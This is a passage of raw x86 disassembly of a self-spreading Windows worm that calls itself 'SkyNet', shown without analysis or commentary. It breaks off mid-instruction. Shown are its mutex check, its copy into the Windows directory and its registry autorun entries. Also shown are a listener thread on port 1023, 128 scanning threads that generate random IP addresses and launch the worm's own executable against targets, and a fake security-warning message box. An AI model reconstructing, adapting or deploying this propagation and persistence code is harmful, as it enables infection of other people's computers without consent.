push eax push [ebp+var_8] jmp short loc_401DDF ; --------------------------------------------------------------------------- loc_401E01: ; CODE XREF: sub_401B59+28Bj push [ebp+var_8] call dword_40501C ; _lclose lea eax, [ebp+var_60] push eax call sub_401210 pop ecx loc_401E14: ; CODE XREF: sub_401B59+1DDj ; sub_401B59+21Bj ... push [ebp+var_C] call dword_405128 push 0 push off_4068DC call sub_402300 pop ecx push eax push off_4068DC loc_401E32: ; CODE XREF: sub_401B59+197j push [ebp+arg_0] jmp short loc_401E6D ; --------------------------------------------------------------------------- loc_401E37: ; CODE XREF: sub_401B59+1B1j lea eax, [ebp+var_4E4] push offset aQuit ; "QUIT" push eax call sub_4026F0 pop ecx test eax, eax pop ecx jz short loc_401E57 push ebx call dword_405128 jmp short loc_401E6F ; --------------------------------------------------------------------------- loc_401E57: ; CODE XREF: sub_401B59+2F3j push 0 push off_4068DC call sub_402300 pop ecx push eax push off_4068DC loc_401E6C: ; CODE XREF: sub_401B59+8Aj ; sub_401B59+BBj push ebx loc_401E6D: ; CODE XREF: sub_401B59+2DCj call esi ; dword_405118 loc_401E6F: ; CODE XREF: sub_401B59+2FCj cmp [ebp+var_10], 0 jg loc_401B94 push [ebp+arg_0] call dword_405128 pop edi pop esi loc_401E84: ; CODE XREF: sub_401B59+10j xor eax, eax pop ebx leave retn 4 sub_401B59 endp ; =============== S U B R O U T I N E ======================================= sub_401E8B proc near ; CODE XREF: sub_401B59+119p ; sub_401B59+129p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi loc_401E93: ; CODE XREF: sub_401E8B+13j mov al, [esi] cmp al, 20h jz short loc_401E9D cmp al, 9 jnz short loc_401EA0 loc_401E9D: ; CODE XREF: sub_401E8B+Cj inc esi jmp short loc_401E93 ; --------------------------------------------------------------------------- loc_401EA0: ; CODE XREF: sub_401E8B+10j ; sub_401E8B+2Ej movsx eax, byte ptr [esi] push eax call sub_402900 test eax, eax pop ecx jz short loc_401EBB movsx ecx, byte ptr [esi] lea eax, [edi+edi*4] inc esi lea edi, [ecx+eax*2-30h] jmp short loc_401EA0 ; --------------------------------------------------------------------------- loc_401EBB: ; CODE XREF: sub_401E8B+21j mov eax, edi pop edi pop esi retn sub_401E8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401EC0 proc near ; DATA XREF: sub_4020D9+6Eo var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 14h push esi xor esi, esi push edi push esi push 1 push 2 call dword_405120 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_401EE4 loc_401EDC: ; CODE XREF: sub_401EC0+63j pop edi xor eax, eax pop esi leave retn 4 ; --------------------------------------------------------------------------- loc_401EE4: ; CODE XREF: sub_401EC0+1Aj push 3FFh mov [ebp+var_14], 2 call dword_40511C mov [ebp+var_12], ax lea eax, [ebp+var_14] push 10h push eax push edi mov [ebp+var_10], esi call dword_405108 cmp eax, 0FFFFFFFFh jz short loc_401F1C push 5 push edi call dword_40510C cmp eax, 0FFFFFFFFh jnz short loc_401F25 loc_401F1C: ; CODE XREF: sub_401EC0+4Cj push edi call dword_405128 jmp short loc_401EDC ; --------------------------------------------------------------------------- loc_401F25: ; CODE XREF: sub_401EC0+5Aj ; sub_401EC0+89j push esi push esi push edi call dword_405110 lea ecx, [ebp+var_4] push ecx push esi push eax push offset sub_401B59 push esi push esi call dword_40503C ; CreateThread push 19h call dword_40502C ; Sleep jmp short loc_401F25 sub_401EC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_401F4B proc near ; DATA XREF: sub_4020D9+82o var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_454 = byte ptr -454h var_450 = byte ptr -450h var_438 = byte ptr -438h var_400 = byte ptr -400h sub esp, 45Ch push ebx push ebp push esi push edi push 0FFFFFFFFh call dword_405048 ; GetCurrentThread push eax call dword_405044 ; SetThreadPriority loc_401F64: ; CODE XREF: sub_401F4B+37j xor esi, esi lea eax, [esp+46Ch+var_458] push esi push eax mov [esp+474h+var_458], esi call dword_4050FC cmp eax, esi jnz short loc_401F84 push 19h call dword_40502C ; Sleep jmp short loc_401F64 ; --------------------------------------------------------------------------- loc_401F84: ; CODE XREF: sub_401F4B+2Dj lea eax, [esp+46Ch+var_438] push eax call sub_4010D2 pop ecx lea eax, [esp+46Ch+var_438] push eax call dword_405134 movsx ebp, al movsx eax, ah mov [esp+46Ch+var_45C], eax cmp ebp, esi mov eax, 100h jge short loc_401FAF add ebp, eax loc_401FAF: ; CODE XREF: sub_401F4B+60j cmp [esp+46Ch+var_45C], esi jge short loc_401FB9 add [esp+46Ch+var_45C], eax loc_401FB9: ; CODE XREF: sub_401F4B+68j mov edi, dword_4050F0 mov esi, 0FFh mov ebx, offset aI_I_I_I ; "%i.%i.%i.%i" loc_401FC9: ; CODE XREF: sub_401F4B+189j call sub_401000 push 1Fh cdq pop ecx idiv ecx cmp edx, 0Fh jle short loc_402029 call sub_401000 push 1Fh cdq pop ecx idiv ecx cmp edx, 0Fh jle short loc_40200C call sub_401000 cdq mov ecx, esi idiv ecx push edx call sub_401000 cdq mov ecx, esi idiv ecx push edx call sub_401000 cdq mov ecx, esi idiv ecx push edx jmp short loc_402026 ; --------------------------------------------------------------------------- loc_40200C: ; CODE XREF: sub_401F4B+9Cj call sub_401000 cdq mov ecx, esi idiv ecx push edx call sub_401000 cdq mov ecx, esi idiv ecx push edx push [esp+474h+var_45C] loc_402026: ; CODE XREF: sub_401F4B+BFj push ebp jmp short loc_402055 ; --------------------------------------------------------------------------- loc_402029: ; CODE XREF: sub_401F4B+8Cj call sub_401000 cdq mov ecx, esi idiv ecx push edx call sub_401000 cdq mov ecx, esi idiv ecx push edx call sub_401000 cdq mov ecx, esi idiv ecx push edx call sub_401000 cdq mov ecx, esi idiv ecx push edx loc_402055: ; CODE XREF: sub_401F4B+DCj lea eax, [esp+47Ch+var_454] push ebx push eax call edi ; dword_4050F0 add esp, 18h lea eax, [esp+468h+var_450] push 3E8h push eax call dword_405134 push eax call sub_401B1B pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_4020CC lea eax, [esp+46Ch+var_454] push eax call sub_401153 cmp al, 1 pop ecx jnz short loc_4020CC lea eax, [esp+46Ch+var_400] push 400h push eax push 0 call dword_405038 ; GetModuleFileNameA lea eax, [esp+46Ch+var_400] push offset asc_406A84 ; " " push eax call sub_402820 lea eax, [esp+474h+var_454] push eax lea eax, [esp+478h+var_400] push eax call sub_402820 add esp, 10h lea eax, [esp+46Ch+var_400] push 0 push eax call dword_405040 ; WinExec loc_4020CC: ; CODE XREF: sub_401F4B+130j ; sub_401F4B+13Fj push 19h call dword_40502C ; Sleep jmp loc_401FC9 sub_401F4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4020D9 proc near ; CODE XREF: .text:004029F7p var_14 = dword ptr -14h var_8 = byte ptr -8 var_4 = byte ptr -4 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx call dword_405054 ; GetTickCount push eax call sub_40101E call sub_401028 push [ebp+arg_8] call sub_402300 pop ecx test eax, eax pop ecx jbe short loc_40210D push [ebp+arg_8] call sub_401A69 pop ecx push 1 pop eax locret_402109: ; CODE XREF: sub_4020D9+5Fj leave retn 10h ; --------------------------------------------------------------------------- loc_40210D: ; CODE XREF: sub_4020D9+22j push esi push edi push 1 call sub_40219B xor esi, esi mov [esp+14h+var_14], offset aSkynetnotice ; "SkynetNotice" push esi push esi call dword_405050 ; CreateMutexA call dword_40504C ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_40213A pop edi xor eax, eax pop esi jmp short locret_402109 ; --------------------------------------------------------------------------- loc_40213A: ; CODE XREF: sub_4020D9+59j mov edi, dword_40503C lea eax, [ebp+var_4] push ebx push eax push esi push esi push offset sub_401EC0 push esi push esi call edi ; dword_40503C mov ebx, 80h loc_402155: ; CODE XREF: sub_4020D9+8Cj lea eax, [ebp+var_8] push eax push esi push esi push offset sub_401F4B push esi push esi call edi ; dword_40503C dec ebx jnz short loc_402155 xor edi, edi pop ebx loc_40216A: ; CODE XREF: sub_4020D9+AAj ; sub_4020D9+C0j push esi call dword_405008 push 3E8h call dword_40502C ; Sleep inc edi cmp edi, 1C20h jle short loc_40216A push esi push offset aSkynet ; "SkyNet" push offset a1_YourComputer ; "1. Your computer is affected by the MS0"... push esi xor edi, edi call dword_4050F4 ; MessageBoxA jmp short loc_40216A sub_4020D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40219B proc near ; CODE XREF: sub_4020D9+38p var_824 = byte ptr -824h var_425 = byte ptr -425h var_424 = byte ptr -424h var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 824h push esi mov esi, 400h push edi lea eax, [ebp+var_824] push esi push eax push 0 call dword_405038 ; GetModuleFileNameA lea eax, [ebp+var_424] push esi push eax call dword_40505C ; GetWindowsDirectoryA lea eax, [ebp+var_424] push eax call sub_402300 cmp [ebp+eax+var_425], 5Ch pop ecx jz short loc_4021F3 lea eax, [ebp+var_424] push offset asc_406C50 ; "\\" push eax call sub_402820 pop ecx pop ecx loc_4021F3: ; CODE XREF: sub_40219B+43j push off_4068C8 lea eax, [ebp+var_424] push eax call sub_402820 cmp [ebp+arg_0], 0 pop ecx pop ecx jz short loc_402223 lea eax, [ebp+var_424] push 0 push eax lea eax, [ebp+var_824] push eax call dword_405058 ; CopyFileA loc_402223: ; CODE XREF: sub_40219B+70j lea eax, [ebp+var_4] mov esi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push eax push esi push 80000002h call dword_40500C lea eax, [ebp+var_424] push eax call sub_402300 pop ecx push eax lea eax, [ebp+var_424] push eax push 1 push 0 push off_4068C8 push [ebp+var_4] call dword_405004 push [ebp+var_4] call dword_405000 push offset aSsgrate_exe ; "ssgrate.exe" mov edi, 80000001h push esi push edi call sub_401AED push offset aDrvsys_exe ; "drvsys.exe" push esi push edi call sub_401AED push offset aDrvddll_exe ; "Drvddll_exe" push esi push edi call sub_401AED add esp, 24h pop edi pop esi leave retn sub_40219B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4022A0 proc near ; CODE XREF: sub_401153+10p ; sub_401153+40p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_4022F3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_4022E7 neg ecx and ecx, 3 jz short loc_4022C9 sub edx, ecx loc_4022C3: ; CODE XREF: sub_4022A0+27j mov [edi], al inc edi dec ecx jnz short loc_4022C3 loc_4022C9: ; CODE XREF: sub_4022A0+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_4022E7 rep stosd test edx, edx jz short loc_4022ED loc_4022E7: ; CODE XREF: sub_4022A0+18j ; sub_4022A0+3Fj ... mov [edi], al inc edi dec edx jnz short loc_4022E7 loc_4022ED: ; CODE XREF: sub_4022A0+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4022F3: ; CODE XREF: sub_4022A0+Aj mov eax, [esp+arg_0] retn sub_4022A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402300 proc near ; CODE XREF: sub_401210+2Cp ; sub_401210+46p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_402320 loc_40230C: ; CODE XREF: sub_402300+19j mov al, [ecx] inc ecx test al, al jz short loc_402353 test ecx, 3 jnz short loc_40230C add eax, 0 loc_402320: ; CODE XREF: sub_402300+Aj ; sub_402300+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_402320 mov eax, [ecx-4] test al, al jz short loc_402371 test ah, ah jz short loc_402367 test eax, 0FF0000h jz short loc_40235D test eax, 0FF000000h jz short loc_402353 jmp short loc_402320 ; --------------------------------------------------------------------------- loc_402353: ; CODE XREF: sub_402300+11j ; sub_402300+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_40235D: ; CODE XREF: sub_402300+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_402367: ; CODE XREF: sub_402300+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_402371: ; CODE XREF: sub_402300+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_402300 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402380 proc near ; CODE XREF: sub_40137D+59p ; sub_40137D+78p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4023A0 cmp edi, eax jb loc_402518 loc_4023A0: ; CODE XREF: sub_402380+16j test edi, 3 jnz short loc_4023BC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4023DC rep movsd jmp off_4024C8[edx*4] ; --------------------------------------------------------------------------- loc_4023BC: ; CODE XREF: sub_402380+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_4023D4 and eax, 3 add ecx, eax jmp dword ptr loc_4023DC+4[eax*4] ; --------------------------------------------------------------------------- loc_4023D4: ; CODE XREF: sub_402380+46j jmp dword ptr loc_4024D8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4023DC: ; CODE XREF: sub_402380+31j ; sub_402380+8Ej ... jmp off_40245C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4023F0 dd offset loc_40241C dd offset loc_402440 ; --------------------------------------------------------------------------- loc_4023F0: ; DATA XREF: sub_402380+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_4023DC rep movsd jmp off_4024C8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40241C: ; DATA XREF: sub_402380+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_4023DC rep movsd jmp off_4024C8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_402440: ; DATA XREF: sub_402380+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_4023DC rep movsd jmp off_4024C8[edx*4] ; --------------------------------------------------------------------------- align 4 off_40245C dd offset loc_4024BF ; DATA XREF: sub_402380:loc_4023DCr dd offset loc_4024AC dd offset loc_4024A4 dd offset loc_40249C dd offset loc_402494 dd offset loc_40248C dd offset loc_402484 dd offset loc_40247C ; --------------------------------------------------------------------------- loc_40247C: ; CODE XREF: sub_402380:loc_4023DCj ; DATA XREF: sub_402380+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_402484: ; CODE XREF: sub_402380:loc_4023DCj ; DATA XREF: sub_402380+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_40248C: ; CODE XREF: sub_402380:loc_4023DCj ; DATA XREF: sub_402380+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_402494: ; CODE XREF: sub_402380:loc_4023DCj ; DATA XREF: sub_402380+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_40249C: ; CODE XREF: sub_402380:loc_4023DCj ; DATA XREF: sub_402380+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4024A4: ; CODE XREF: sub_402380:loc_4023DCj ; DATA XREF: sub_402380+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4024AC: ; CODE XREF: sub_402380:loc_4023DCj ; DATA XREF: sub_402380+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4024BF: ; CODE XREF: sub_402380:loc_4023DCj ; DATA XREF: sub_402380:off_40245Co jmp off_4024C8[edx*4] ; --------------------------------------------------------------------------- align 4 off_4024C8 dd offset loc_4024D8 ; DATA XREF: sub_402380+35r ; sub_402380+92r ... dd offset loc_4024E0 dd offset loc_4024EC dd offset loc_402500 ; --------------------------------------------------------------------------- loc_4024D8: ; CODE XREF: sub_402380+35j ; sub_402380+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4024E0: ; CODE XREF: sub_402380+35j ; sub_402380+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4024EC: ; CODE XREF: sub_402380+35j ; sub_402380+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_402500: ; CODE XREF: sub_402380+35j ; sub_402380+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_402518: ; CODE XREF: sub_402380+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_40254C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_402540 std rep movsd cld jmp off_402660[edx*4] ; --------------------------------------------------------------------------- align 10h loc_402540: ; CODE XREF: sub_402380+1B1j ; sub_402380+208j ... neg ecx jmp off_402610[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40254C: ; CODE XREF: sub_402380+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_402564 and eax, 3 sub ecx, eax jmp dword ptr loc_402564+4[eax*4] ; --------------------------------------------------------------------------- loc_402564: ; CODE XREF: sub_402380+1D6j ; DATA XREF: sub_402380+1DDr jmp off_402660[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_402577+1 ; --------------------------------------------------------------------------- cwde and eax, 25C00040h inc eax loc_402577: ; DATA XREF: sub_402380+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_402540 std rep movsd cld jmp off_402660[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_402540 std rep movsd cld jmp off_402660[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_402540 std rep movsd cld jmp off_402660[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_402614 dd offset loc_40261C dd offset loc_402624 dd offset loc_40262C dd offset loc_402634 dd offset loc_40263C dd offset loc_402644 off_402610 dd offset loc_402657 ; DATA XREF: sub_402380+1C2r ; --------------------------------------------------------------------------- loc_402614: ; DATA XREF: sub_402380+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_40261C: ; DATA XREF: sub_402380+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_402624: ; DATA XREF: sub_402380+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_40262C: ; DATA XREF: sub_402380+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_402634: ; DATA XREF: sub_402380+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_40263C: ; DATA XREF: sub_402380+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_402644: ; DATA XREF: sub_402380+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_402657: ; CODE XREF: sub_402380+1C2j ; DATA XREF: sub_402380:off_402610o jmp off_402660[edx*4] ; --------------------------------------------------------------------------- align 10h off_402660 dd offset loc_402670 ; DATA XREF: sub_402380+1B7r ; sub_402380:loc_402564r ... dd offset loc_402678 dd offset loc_402688 dd offset loc_40269C ; --------------------------------------------------------------------------- loc_402670: ; CODE XREF: sub_402380+1B7j ; sub_402380:loc_402564j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_402678: ; CODE XREF: sub_402380+1B7j ; sub_402380:loc_402564j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_402688: ; CODE XREF: sub_402380+1B7j ; sub_402380:loc_402564j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40269C: ; CODE XREF: sub_402380+1B7j ; sub_402380:loc_402564j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_402380 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4026C0 proc near ; CODE XREF: sub_401583+8p ; sub_40380C+DFp ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_4026E0 loc_4026CC: ; CODE XREF: sub_4026C0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_4026CC loc_4026E0: ; CODE XREF: sub_4026C0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_4026C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4026F0 proc near ; CODE XREF: sub_401A69+2Dp ; sub_401A69+50p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_40276A mov dh, [ecx+1] test dh, dh jz short loc_402757 loc_402708: ; CODE XREF: sub_4026F0+52j ; sub_4026F0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_40272A test al, al jz short loc_402724 loc_402719: ; CODE XREF: sub_4026F0+32j mov al, [esi] inc esi loc_40271C: ; CODE XREF: sub_4026F0+3Fj cmp al, dl jz short loc_40272A test al, al jnz short loc_402719 loc_402724: ; CODE XREF: sub_4026F0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_40272A: ; CODE XREF: sub_4026F0+23j ; sub_4026F0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_40271C lea edi, [esi-1] loc_402734: ; CODE XREF: sub_4026F0+63j mov ah, [ecx+2] test ah, ah jz short loc_402763 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_402708 mov al, [ecx+3] test al, al jz short loc_402763 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_402734 jmp short loc_402708 ; --------------------------------------------------------------------------- loc_402757: ; CODE XREF: sub_4026F0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp sub_402A86 ; --------------------------------------------------------------------------- loc_402763: ; CODE XREF: sub_4026F0+49j ; sub_4026F0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_40276A: ; CODE XREF: sub_4026F0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_4026F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402770 proc near ; CODE XREF: sub_401B59+103p ; sub_401B59+14Cp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_402789: ; CODE XREF: sub_402770+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_402789 mov edx, [ebp+arg_0] test edx, edx jnz short loc_4027B1 mov edx, dword_4070CC loc_4027B1: ; CODE XREF: sub_402770+39j ; sub_402770+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_4027D1 test al, al jz short loc_4027D1 inc edx jmp short loc_4027B1 ; --------------------------------------------------------------------------- loc_4027D1: ; CODE XREF: sub_402770+58j ; sub_402770+5Cj mov ebx, edx loc_4027D3: ; CODE XREF: sub_402770+81j mov al, [edx] test al, al jz short loc_4027F7 movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_4027F3 inc edx jmp short loc_4027D3 ; --------------------------------------------------------------------------- loc_4027F3: ; CODE XREF: sub_402770+7Ej and byte ptr [edx], 0 inc edx loc_4027F7: ; CODE XREF: sub_402770+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4070CC, edx and eax, ebx pop ebx leave retn sub_402770 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402810 proc near ; CODE XREF: sub_401B59+E9p ; sub_401B59+270p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_402881 sub_402810 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402820 proc near ; CODE XREF: sub_401F4B+15Dp ; sub_401F4B+16Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_40283C loc_40282D: ; CODE XREF: sub_402820+1Aj mov al, [ecx] inc ecx test al, al jz short loc_40286F test ecx, 3 jnz short loc_40282D loc_40283C: ; CODE XREF: sub_402820+Bj ; sub_402820+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_40283C mov eax, [ecx-4] test al, al jz short loc_40287E test ah, ah jz short loc_402879 test eax, 0FF0000h jz short loc_402874 test eax, 0FF000000h jz short loc_40286F jmp short loc_40283C ; --------------------------------------------------------------------------- loc_40286F: ; CODE XREF: sub_402820+12j ; sub_402820+4Bj lea edi, [ecx-1] jmp short loc_402881 ; --------------------------------------------------------------------------- loc_402874: ; CODE XREF: sub_402820+44j lea edi, [ecx-2] jmp short loc_402881 ; --------------------------------------------------------------------------- loc_402879: ; CODE XREF: sub_402820+3Dj lea edi, [ecx-3] jmp short loc_402881 ; --------------------------------------------------------------------------- loc_40287E: ; CODE XREF: sub_402820+39j lea edi, [ecx-4] loc_402881: ; CODE XREF: sub_402810+5j ; sub_402820+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_4028A6 loc_40288D: ; CODE XREF: sub_402820+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_4028F8 mov [edi], dl inc edi test ecx, 3 jnz short loc_40288D jmp short loc_4028A6 ; --------------------------------------------------------------------------- loc_4028A1: ; CODE XREF: sub_402820+9Ej ; sub_402820+B8j mov [edi], edx add edi, 4 loc_4028A6: ; CODE XREF: sub_402820+6Bj ; sub_402820+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_4028A1 test dl, dl jz short loc_4028F8 test dh, dh jz short loc_4028EF test edx, 0FF0000h jz short loc_4028E2 test edx, 0FF000000h jz short loc_4028DA jmp short loc_4028A1 ; --------------------------------------------------------------------------- loc_4028DA: ; CODE XREF: sub_402820+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4028E2: ; CODE XREF: sub_402820+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_4028EF: ; CODE XREF: sub_402820+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4028F8: ; CODE XREF: sub_402820+72j ; sub_402820+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_402820 endp ; =============== S U B R O U T I N E ======================================= sub_402900 proc near ; CODE XREF: sub_401E8B+19p arg_0 = dword ptr 4 cmp dword_406E7C, 1 jle short loc_40291A push 107h push [esp+4+arg_0] call sub_402B3C pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_40291A: ; CODE XREF: sub_402900+7j mov eax, [esp+arg_0] mov ecx, off_406C70 mov ax, [ecx+eax*2] and 